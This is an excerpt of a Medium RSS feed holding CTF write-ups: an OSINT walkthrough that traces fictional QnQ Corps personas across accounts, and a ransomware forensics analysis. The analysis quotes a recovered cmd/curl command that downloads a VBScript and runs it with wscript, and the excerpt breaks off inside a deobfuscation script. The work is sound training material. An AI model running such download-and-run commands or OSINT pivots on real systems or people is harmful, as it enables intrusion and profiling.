Settings.&quot;,&quot;filename&quot;:&quot;chat_export_admin.csv&quot;,&quot;target_user&quot;:&quot;admin&quot;}]</pre><p>And yah that’s it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*IUy9WQoqQ-DJH_skkNujJA.png" /></figure><p>bingo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yD6f5TDpwc83Ici7KTWp8A.png" /></figure><p>that’s it i i hope you enjoy it : )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*mZWz1pQa414VPmz0.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0a587973fa9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[QnQSec CTF 2025 — osint]]></title>
            <link>https://drkasbr.medium.com/qnqsec-ctf-2025-osint-82995d73250e?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/82995d73250e</guid>
            <category><![CDATA[lol]]></category>
            <category><![CDATA[top-1]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Sun, 19 Oct 2025 21:08:21 GMT</pubDate>
            <atom:updated>2025-10-19T21:08:21.548Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://ctf.qnqsec.team/">QnQSec CTF 2025</a> — osint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6hDgFZFT5pXY71vW5iPSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uMIQGtsx9XIGY9Vsb8DGVg.png" /></figure><h3>I started by making a small mind map of the overall chain to keep everything clear</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRkB8zRBtjz0Cy5HXVSuaw.png" /></figure><h3>And Here are all the challenges I worked through.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*tniUK9NH9CtKN5qs8tWyDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*KXnSNpzSaPDEBW69a0cILA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/0*l5UpEv0CYucu0JXx" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/252/0*2bHqrxvsL3WBvrCR" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/0*wNLTZAagZ5NA3vx_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*WheGrY3xksI2Fi3T" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/0*xpXXn8jUKf9XvCCw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*D3e3UQrrkjuaVDL9IXizbA.png" /></figure><p>Soo bring your tea and let’s start our investigation. ☕</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*5OceZAd6GPxQg4ZRL_YXbQ.png" /></figure><p>Here the first lead is</p><pre>Chloe Stekar</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*LTTwyR9TEKVVWSkC8td08w.png" /></figure><p>So From the image, it looks like an X/Twitter retweet format so that part was simple</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*kdG--ZZfboAOOPfvtMBAQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*IyIUhlzV67kcEpOoE2w_zA.png" /></figure><pre>Flag: QnQSec{QnQ Corps}</pre><p>but let’s keep digging into this account and see what we can find</p><p>First</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*Bk34RfISzvQ1eGtbfoN1_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*f8ZM4vaw6Dk6kV2fBUr1lA.png" /></figure><p>First, this points to a position: <strong>Market Lead</strong> and <strong>Employee since 1990</strong>.<br>In another post there’s a link (as alt text in an image):</p><pre>https://drive.proton.me/urls/MT3F5GABY8#nQ2rWPt3Vuas</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JPmFIhya8nGdCP9qkSg4ZA.png" /></figure><p>It requires a password, so I noted it and moved on</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*y9NNn8zaK5T_S1vJkiEMXw.png" /></figure><p>That post led to another account with only one post, which pointed to:</p><p><a href="https://medium.com/@qnqcorps./about-us-3bb8d0be9f69">About US</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*Oipvd4uJzEskA5EqaF2o0A.png" /></figure><p>Soo after checking this account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oAVa2UZ--9Y-NFpW-WlKIg.png" /></figure><p>Senior Java Developer at QnQ Corps</p><p>So we have two people from the company, plus the official account:</p><pre>Chloe Stekar<br>Alfred Dantre<br>QnQ Corps</pre><p>let’s see the next task</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*-vOh9eXkpupkLc2n_VsAIg.png" /></figure><p>ez since we found 3 users but let’s focus in official one for now</p><p>Quick search turned up three official accounts:</p><pre>https://www.linkedin.com/company/qnq-corps<br>https://www.youtube.com/@qnqcorps<br>https://x.com/qnqcorps<br></pre><p>From YouTube we can get the email:</p><pre>qnq.corps@gmail.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*aMLIBsUwtFY-jzMTrxg7dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*5Qd7uNt8-plBJKNDi2Q5Pg.png" /></figure><p>but Not directly helpful yet.</p><p>using google dorks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*yy53C4wUOy2iM15GSlNLRg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGpnqzLFtvW5d6kiUkX-LA.png" /></figure><p>not make sense so i backed web archive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zudDOKEejf8ZCRkku2p-xw.png" /></figure><p>Bingo we found flag but no idea for which challenge so</p><p>another user add to our list</p><pre>psychoresearcher</pre><p><a href="https://gist.github.com/psychoresearcher/">psychoresearcher&#39;s gists</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwcrcuFNa1VqRWBDaBhpOg.png" /></figure><p>ok now make sense how we get that flag</p><p>and it was for this challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*5qquwVgoN6-03sR231aeBw.png" /></figure><p>anyway in the videos there is nothing interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdc6BbP85QyOudrxTsRevA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*8fkpUnFlFaDaAtp8RkXohw.png" /></figure><p>but here is the trick if you checked the playlist there is 2 videos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*05Hx2kIS7yutl7v3eXBzLA.png" /></figure><p>so if we see the second video</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLslW2Dg0Rnm6ahBTdLzJg.png" /></figure><p>Unlisted</p><p>mean a video that can be watched and shared by anyone with the direct link but does not appear in public search results</p><p>and inside the video</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*-9CrfXewHQ6QlsgMz3LhXA.png" /></figure><p>we can see the site</p><pre>QnQSec{https://uw5ru2vjsxnuagvczxn0rvzfugo.wordpress.com}</pre><p>but since we are in this site let’s see what we get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DExhmkAAdQEKFdOIZRndg.png" /></figure><p>First item on the site: a Telegram bot</p><pre>https://t.me/QnQCorps2Bot</pre><p>From the bot I got this Google Doc:</p><pre>https://docs.google.com/document/d/1DnS2OhLUfLPA29pyyNTOGRrH4iMX08qjn8Q5rxjLxhU/edit?tab=t.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0LiieckcYTIUjbHe3Ky38w.png" /></figure><p>So looking for hidden msg or something like that but didn’t find anything so i check who did this docs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*rIgBnjqEMYgLDQqyZl6s8g.png" /></figure><p>and here we found new guy in this company</p><p>let’s check him</p><pre>Ming Mulang<br>mulangming81@gmail.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3NZUxJ8ViwR1O7RaZPWVOg.png" /></figure><p>and this was the flag for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*jpnu75sxEnmstkEOR0YzuA.png" /></figure><p>now we have</p><pre>Ming Mulang -- mulangming81@gmail.com<br>Chloe Stekar <br>Alfred Dantre<br>QnQ Corps (official) </pre><p>and there is many information now Soo i sort my ideas and see what we have and start checking the challenges since at least we draw the company now and we have image but still not clear</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*QWPtfwLWW2gav5PqWykK9A.png" /></figure><pre>The Company is seeking new AI Research candidates,<br> so the marketing specialist Chloe is taking care of it.<br> investigate the true purpose behind this campaign.</pre><p>So based in what we have</p><p>1- we found the post in Chloe Stekar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*daLHM9-JBwpZ_HdWZxBeAQ.png" /></figure><p>and we didn’t find the passwd So</p><pre>The Company is seeking new AI Research candidates,</pre><p>we have the src code for that ai and the github for developer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-Ht8dK0fEhUkl66I" /></figure><p>from here we can see Backupv2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZj89AT68hwmjqY92G548w.png" /></figure><p>he upload the <a href="https://github.com/psychoresearcher/Backups/compare/54b90cc74332ca7f1566066afd1439b05e45c9a7...9c49825e3bbd1d6cd0f66ba05c26a3383e9dfdf7#diff-b89d1e25aedba7ee9aeefcc21cc41434717fb92835e95850d8908098757e9580">docs/email/Weekly Marketing Update.eml</a> then deleted it</p><p>so lets get it back</p><pre>                                                                                                                                                         <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ git show 9c49825^:&quot;docs/email/Weekly Marketing Update.eml&quot; &gt; &quot;Weekly Marketing Update.recovered.eml&quot;<br><br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ ls              <br>&#39;QnQ Corps.txt&#39;   QnQ-Corps.txt   README.md  &#39;Tomas Frestkin.txt&#39;  &#39;Weekly Marketing Update.recovered.eml&#39;   docs   samples   tomasfrestkin0.txt   tools<br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*tOoqv4kJr6R7JzSOawT5mw.png" /></figure><pre>MIME-Version: 1.0<br>Date: Tue, 30 Sep 2025 13:04:25 +0100<br>Message-ID: &lt;CAO5AgAdN_w9qmGM1CZOXONUPv-X5FVSqDZcAHyofTVEwPxB-Tw@mail.gmail.com&gt;<br>Subject: Weekly Marketing Update<br>From: Chloe &lt;Chloe.Stekar@qnq-corps.local&gt;<br>To: Alfred.Dantre@qnq-corps.local<br>Content-Type: multipart/mixed; boundary=&quot;000000000000a34e670640038d37&quot;<br><br>--000000000000a34e670640038d37<br>Content-Type: multipart/alternative; boundary=&quot;000000000000a34e650640038d35&quot;<br><br>--000000000000a34e650640038d35<br>Content-Type: text/plain; charset=&quot;UTF-8&quot;<br>Content-Transfer-Encoding: quoted-printable<br><br>Hi Alfred,<br><br>Attached are the final assets for the upcoming recruitment campaign (logo<br>variations, banners, and the new sales one-pager).<br><br>Please upload the finalized files to the shared ProtonDrive folder we use<br>for cross-team review.<br><br>Per our secure-sharing policy, here&#39;s the Password of the Week for the<br>ProtonDrive upload (valid until end of week):<br><br>Password: ZmxhZ3t0aGlzX2lzX2FfZmFrZV9mbGFnfQo<br><br><br>Thanks =E2=80=94 appreciate the quick turnaround.<br><br>Regards,<br>Chlo=C3=A9 (on behalf of Marketing)</pre><p>from here we have</p><pre>From: Chloe &lt;Chloe.Stekar@qnq-corps.local&gt;<br>To: Alfred.Dantre@qnq-corps.local<br>Password: ZmxhZ3t0aGlzX2lzX2FfZmFrZV9mbGFnfQo</pre><pre>                                                                                                                                                                                     <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ echo &quot;ZmxhZ3t0aGlzX2lzX2FfZmFrZV9mbGFnfQo&quot; | base64 -d                  <br>flag{this_is_a_fake_flag}<br>base64: invalid input<br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$</pre><p>so that was really weird and dead end for a while</p><p>there is nothing the only thing here is</p><p>Password: ZmxhZ3t0aGlzX2lzX2FfZmFrZV9mbGFnfQo</p><p>Soo after some tries i tried enter it as password without any decoding</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UTD5bRfBRi_-j7W2eoldNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G4qhmwGMEXfgze3rAfQnEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/0*xpXXn8jUKf9XvCCw" /></figure><p>i tried</p><pre>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ echo &quot;UW5RU2VjX0lzX1RoZV9CZXN0&quot; | base64 -d           <br>QnQSec_Is_The_Best                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]</pre><p>which was the name of the file but it was rabbit hole</p><p>Now only 3 challenges left</p><p>and those 3</p><pre>The Company&#39;s Customer<br>which <br>The company sold one of its services for 90.00$, investigate the customer.<br>================================================================<br>The Company&#39;s Money<br>What’s the name of the Finance department lead<br>that explained the company&#39;s shady services?<br><br>The flag format: QnQSec{Firstname Lastname}<br>==========================================================================<br>The Company&#39;s Channel 2<br>=======================</pre><p>So we missing 2 users The Company’s Customer and the Finance department lead</p><p>Soo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*KjKNSL86DLKY8KXYrLeZ0Q.png" /></figure><p>deep analyzing in our leads there was hole about the channel qnq accounts and website who did it and what is his name why there is nothing about it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*3-qymFxnnnUDnbV1OfFyHg.png" /></figure><p>So backing into the WordPress</p><p>We noticed that WordPress often associates author profiles with <strong>Gravatar</strong>, a globally recognized avatar service</p><p>and <strong>Gravatar works like this</strong></p><pre>https://gravatar.com/avatar/HASH </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*BlMh4Pxpki-hCPzt_LbUGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgTBTEJ6y7nEFA6I9D30lw.png" /></figure><ul><li><a href="https://docs.gravatar.com/sdk/images/">Avatars</a></li><li><a href="https://gravatar.com/">Your Free Avatar, Profile, and Link In Bio | Gravatar</a></li></ul><p>So when we try</p><pre>qnq.corps@gmail.com<br><br>https://gravatar.com/avatar/hash<br><br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ printf &quot;qnq.corps@gmail.com&quot; | md5sum<br>53f3e94148c76a0404016e9bdf67e086  -<br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$<br><br>https://gravatar.com/avatar/53f3e94148c76a0404016e9bdf67e086</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*VCRhzCPFoEyvUQ29X_jRfA.png" /></figure><p>remove the avatar part</p><pre>https://gravatar.com/53f3e94148c76a0404016e9bdf67e086</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vmimljE4v_pkxgmaOBCB-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/0*wNLTZAagZ5NA3vx_" /></figure><pre>Tomas Frestkin == Head of Finance department,</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*9GRh3lPmd8CJqoGkrmh7ng.png" /></figure><p>since we found the Head of Finance department, this part gonna be easier</p><p>Now</p><pre>Tomas Frestkin == tomasfrestkin0 == qnq.corps@gmail.com </pre><pre>                                                                                                                                                                             <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ sherlock &quot;tomasfrestkin0&quot;<br>Update available! 0.15.0 --&gt; 0.16.0<br>https://github.com/sherlock-project/sherlock/releases/tag/v0.16.0<br>[*] Checking username tomasfrestkin0 on:<br><br>[+] AllMyLinks: https://allmylinks.com/tomasfrestkin0<br>[+] ArtStation: https://www.artstation.com/tomasfrestkin0<br>[+] Coders Rank: https://profile.codersrank.io/user/tomasfrestkin0/<br>[+] Envato Forum: https://forums.envato.com/u/tomasfrestkin0<br>[+] GNOME VCS: https://gitlab.gnome.org/tomasfrestkin0<br>[+] Gravatar: http://en.gravatar.com/tomasfrestkin0<br>[+] HackenProof (Hackers): https://hackenproof.com/hackers/tomasfrestkin0<br>[+] NationStates Nation: https://nationstates.net/nation=tomasfrestkin0<br>[+] NationStates Region: https://nationstates.net/region=tomasfrestkin0<br>[+] Pastebin: https://pastebin.com/u/tomasfrestkin0<br>[+] Splice: https://splice.com/tomasfrestkin0<br>[+] Spotify: https://open.spotify.com/user/tomasfrestkin0<br>[+] Weblate: https://hosted.weblate.org/user/tomasfrestkin0/<br>[+] YandexMusic: https://music.yandex/users/tomasfrestkin0/playlists<br>[+] svidbook: https://www.svidbook.ru/user/tomasfrestkin0<br><br>[*] Search completed with 15 results<br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/qn/Backups-main/Backups]<br>└─$ <br><br></pre><pre>[+] Pastebin: https://pastebin.com/u/tomasfrestkin0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ac1mO7q_Kl0qFyNw2lW9Zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nkR7oJOLKkoruu5_CVw99g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*w7yj7PUl30mVTdx1oeN8Kg.png" /></figure><p>So the idea here they use Gmail but they don’t use users the use the id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*m-E3Pw60IzMboaCbFpxBnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*cjBpLxBkT2rNzW8dGrf25A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BsEHJwXBDgx8iPc0K1vMoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vX9IZY63OrHZzpXyUvUYNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*WheGrY3xksI2Fi3T" /></figure><p>now the last challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*bkFhE_Z5_uyi22aBD8dFaA.png" /></figure><p>from last find</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QKFg7FLcof4U4AIR" /></figure><p>So using <a href="https://whatsmyname.app/">https://whatsmyname.app/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u7m3RDuvixKL5WxJEDeX0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*I7sajZ1ssJa6NSp02VqJ5g.png" /></figure><p>we get <a href="https://keybase.io/qnqcorps">https://keybase.io/qnqcorps</a></p><p>OpenPGP public keys contain UIDs which are intended to identify the key owner (name and email). When a user uploads a public key to Keybase (or elsewhere), the UID is publicly visible as part of the key material.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*Ye9rErRfH4BhW57W8G1V6w.png" /></figure><p>the idea here that we can get public info from the key</p><pre># curl + gpg pro tip: import qnqcorps&#39;s keys<br>curl https://keybase.io/qnqcorps/pgp_keys.asc | gpg --import<br><br>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/aka]<br>└─$ curl https://keybase.io/qnqcorps/pgp_keys.asc | gpg --import<br><br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100  4699  100  4699    0     0   6775      0 --:--:-- --:--:-- --:--:--  6770<br>gpg: key E58B7B454D38FF7B: public key &quot;QnQ Corps &lt;Th3_c0mp4ny_s0_g00d@gmail.com&gt;&quot; imported<br>gpg: Total number processed: 1<br>gpg:               imported: 1<br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/aka]<br>└─$</pre><pre>gpg: key E58B7B454D38FF7B: public key &quot;QnQ Corps &lt;Th3_c0mp4ny_s0_g00d@gmail.com&gt;&quot; imported<br>Th3_c0mp4ny_s0_g00d@gmail.com<br>QnQsec{Th3_c0mp4ny_s0_g00d@gmail.com}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/0*l5UpEv0CYucu0JXx" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82995d73250e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[POC CTF 2025-Forensics]]></title>
            <link>https://drkasbr.medium.com/poc-ctf-2025-forensics-0b0d3988b020?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b0d3988b020</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[parrot-ctfs]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Tue, 14 Oct 2025 13:57:13 GMT</pubDate>
            <atom:updated>2025-10-14T14:49:56.972Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*3A9x_4bkiVzxGC-F.gif" /></figure><p>Hi there! I hope you have fun with this writeup and learn something</p><p>Today I’ll share how I solved the <strong>FixPloit</strong> challenge from <strong>POC CTF 2025</strong>, including two approaches the fast one and the “right” one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*exTUeV4n9dOOR_pLkSVk2A.png" /></figure><pre>One of our clients has been compromised, <br>but we have not yet identified the root cause or<br>developed a full remediation plan. <br>You will receive a triage image of the machine suspected <br>to be patient zero for your analysis.<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*bFYsbU_ZT4Qd9kma.gif" /></figure><h3>First Look - Why It Matters?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i4McDhJZTzaI50EGF4yv3A.png" /></figure><p>8Base is a re-skin of the Phobos builder it always tacks</p><p>&lt;victim-ID&gt;.&lt;contact-email&gt;.8base(or simply .8base) onto filenames. No other active family uses that exact suffix pattern.</p><p><a href="https://www.provendata.com/blog/8base-ransomware">8base Ransomware: What You Need To Know</a></p><p>Another confairm is the msg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmQBp44OUP4Yp0NnaPt6XQ.png" /></figure><p><a href="https://www.pcrisk.com/removal-guides/27114-8base-ransomware">8base (Phobos) Ransomware</a></p><p>Then i found this zip folder</p><pre>/C/Users/Administrator/Documents/CEO-Design-Secrets.7z.id[9EA9AF27-3483].[support@rexsdata.pro].8base</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*S2iQKCY_fzPQEQzoiQ13uw.png" /></figure><p>So the theory was: <strong>decrypt the disk, then get the flag from the ZIP</strong>.</p><h3>Fast Way -Public Decryptor</h3><p>I searched for Phobos/8Base decryptors and used the Japanese NPA guidance/tools:</p><ul><li><a href="https://www.npa.go.jp/english/bureau/cyber/document/PhDec_GuideLine_ver1.0_EN.pdf">https://www.npa.go.jp/english/bureau/cyber/document/PhDec_GuideLine_ver1.0_EN.pdf</a></li><li><a href="https://www.npa.go.jp/bureau/cyber/countermeasures/ransom/phdec_gui_v1.0.0.zip">https://www.npa.go.jp/bureau/cyber/countermeasures/ransom/phdec_gui_v1.0.0.zip</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*NtqDCDzUN30plCqs8ToCEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6zN_1dFpkqVLrlf9nUdKWA.png" /></figure><p>And… <strong>bingo </strong>it worked.</p><p>But here is the Surprise</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cdCpEd0P4g7sj84-GtBWzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/0*FsEH9qARqY03Rasn.gif" /></figure><p>The flag was split into <strong>three parts</strong>.</p><p>So After quickly searching the decrypted files, I found many PowerPoint files (I even read some — time sink). I tried stego on images too</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*HWQLQ1sX8_BwZ28RwsJBIQ.png" /></figure><p>but didn’t found anything</p><p>So now it’s the Time to drop the “CTF mindset” and start an <strong>investigation</strong>:</p><ul><li>How did the ransomware get in?</li><li>Where is it?</li><li>Was it internal or external?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*JNKRdLRcOiUUYaRB.gif" /></figure><p>There’s no cmd or PowerShell history, but we <strong>do</strong> have NTUSER.DAT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sw8wMGX_mh-5NFLP84txYA.png" /></figure><p>Why NTUSER.DAT Matters ???</p><p><strong>It’s every user’s private registry hive</strong> <br>Windows loads NTUSER.DAT into HKEY_CURRENT_USER at log-on So it quietly records almost everything a profile does</p><p>And</p><p><strong>It survives session cleanup</strong> Unlike volatile console or PowerShell histories (which can be cleared or never created), the hive is written back to disk at log-off and preserves changes</p><p><strong>It holds rich “behavior” artifacts like RunMRU</strong></p><p>What is <strong>RunMRU ?</strong></p><p>RUNMRU is a Windows Registry key that stores the Most Recently Used (MRU) commands you typed into the Run dialog (Win+R)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*fRsBN4xwD-UqdXL3QxMvbg.png" /></figure><p>I hope you get the scenario in my mind rn</p><p>So let’s keep going and see what we find</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*sVpXX3HdjRCfWJs-k-y6mw.png" /></figure><p>And here we found Something interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k_1FeBOhtySVGSRuXJZZ3g.png" /></figure><pre>cmd /c &quot;cd /d %temp% &amp;&amp; curl -sLo ~t.vbs https://gist.githubusercontent.com/RandomAcesss/daa5312c1ec9f44e9874775ce29103e6/raw/97c44d5b1ed85a0bdbcf4f61d19d5fba98f12bb6/Verify.vbs &amp;&amp; wscript //B ~t.vbs &amp;&amp; echo YmFzZS0zMgpJWldHQ1oyWlBNM1RHTkE9&quot;\1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*4_l3tOQTQPMSCvrECMBjog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*THZFTqzF7nfZW0zZ.gif" /></figure><p>Now we have part 3 and part 1 and part 1 lead dirct into part 2</p><p>So as we can see The command downloads a script into %TEMP% and runs it. Since we already decrypted the disk, we can find the file directly in TEMP no need to fetch from GitHub. That assumption matters (you’ll see why)</p><p>The file t.vbs is an <strong>obfuscated VBScript</strong> sample</p><p>Its real payload is hidden inside an Execute() (or ExecuteGlobal()) call; the script text is built at runtime from many chr(&lt;expression&gt;) calls that use arithmetic and VB-style hexadecimal literals (e.g., &amp;H3AD9, sometimes wrapped as CLng(&quot;&amp;H3AD9&quot;)) with operators like +, -, *, / and unary -. At runtime those expressions evaluate to numeric character codes, are converted to characters, concatenated into a string, and then executed. This is <strong>obfuscation</strong> (runtime string reconstruction)</p><p>the transformation is reversible by statically evaluating the expressions : )</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F4883478538038806762&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Flet-him-cook-gif-4883478538038806762&amp;image=https%3A%2F%2Fmedia.tenor.com%2FQ8WZ20gMCOoAAAAN%2Flet-him-cook.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/6c19cd6f076f27f8765074e9bb276f1d/href">https://medium.com/media/6c19cd6f076f27f8765074e9bb276f1d/href</a></iframe><p>So i made small code python to help</p><pre>#!/usr/bin/env python3<br>from __future__ import annotations<br>import re<br>import ast<br>import operator as op<br>from fractions import Fraction<br>from pathlib import Path<br>import argparse<br>import sys<br><br>OPS = {<br>    ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,<br>    ast.Div: op.truediv, ast.FloorDiv: op.floordiv,<br>    ast.UAdd: op.pos, ast.USub: op.neg<br>}<br><br>_RE_CLNG = re.compile(r&#39;CLNG\s*\(\s*&quot;\s*&amp;H([0-9A-Fa-f]+)\s*&quot;\s*\)&#39;, flags=re.I)<br>_RE_BARE_HEX = re.compile(r&#39;&amp;H([0-9A-Fa-f]+)&#39;, flags=re.I)<br>_RE_CHR = re.compile(r&#39;chr\s*\((.*?)\)&#39;, flags=re.I | re.S)<br>_RE_EXEC = 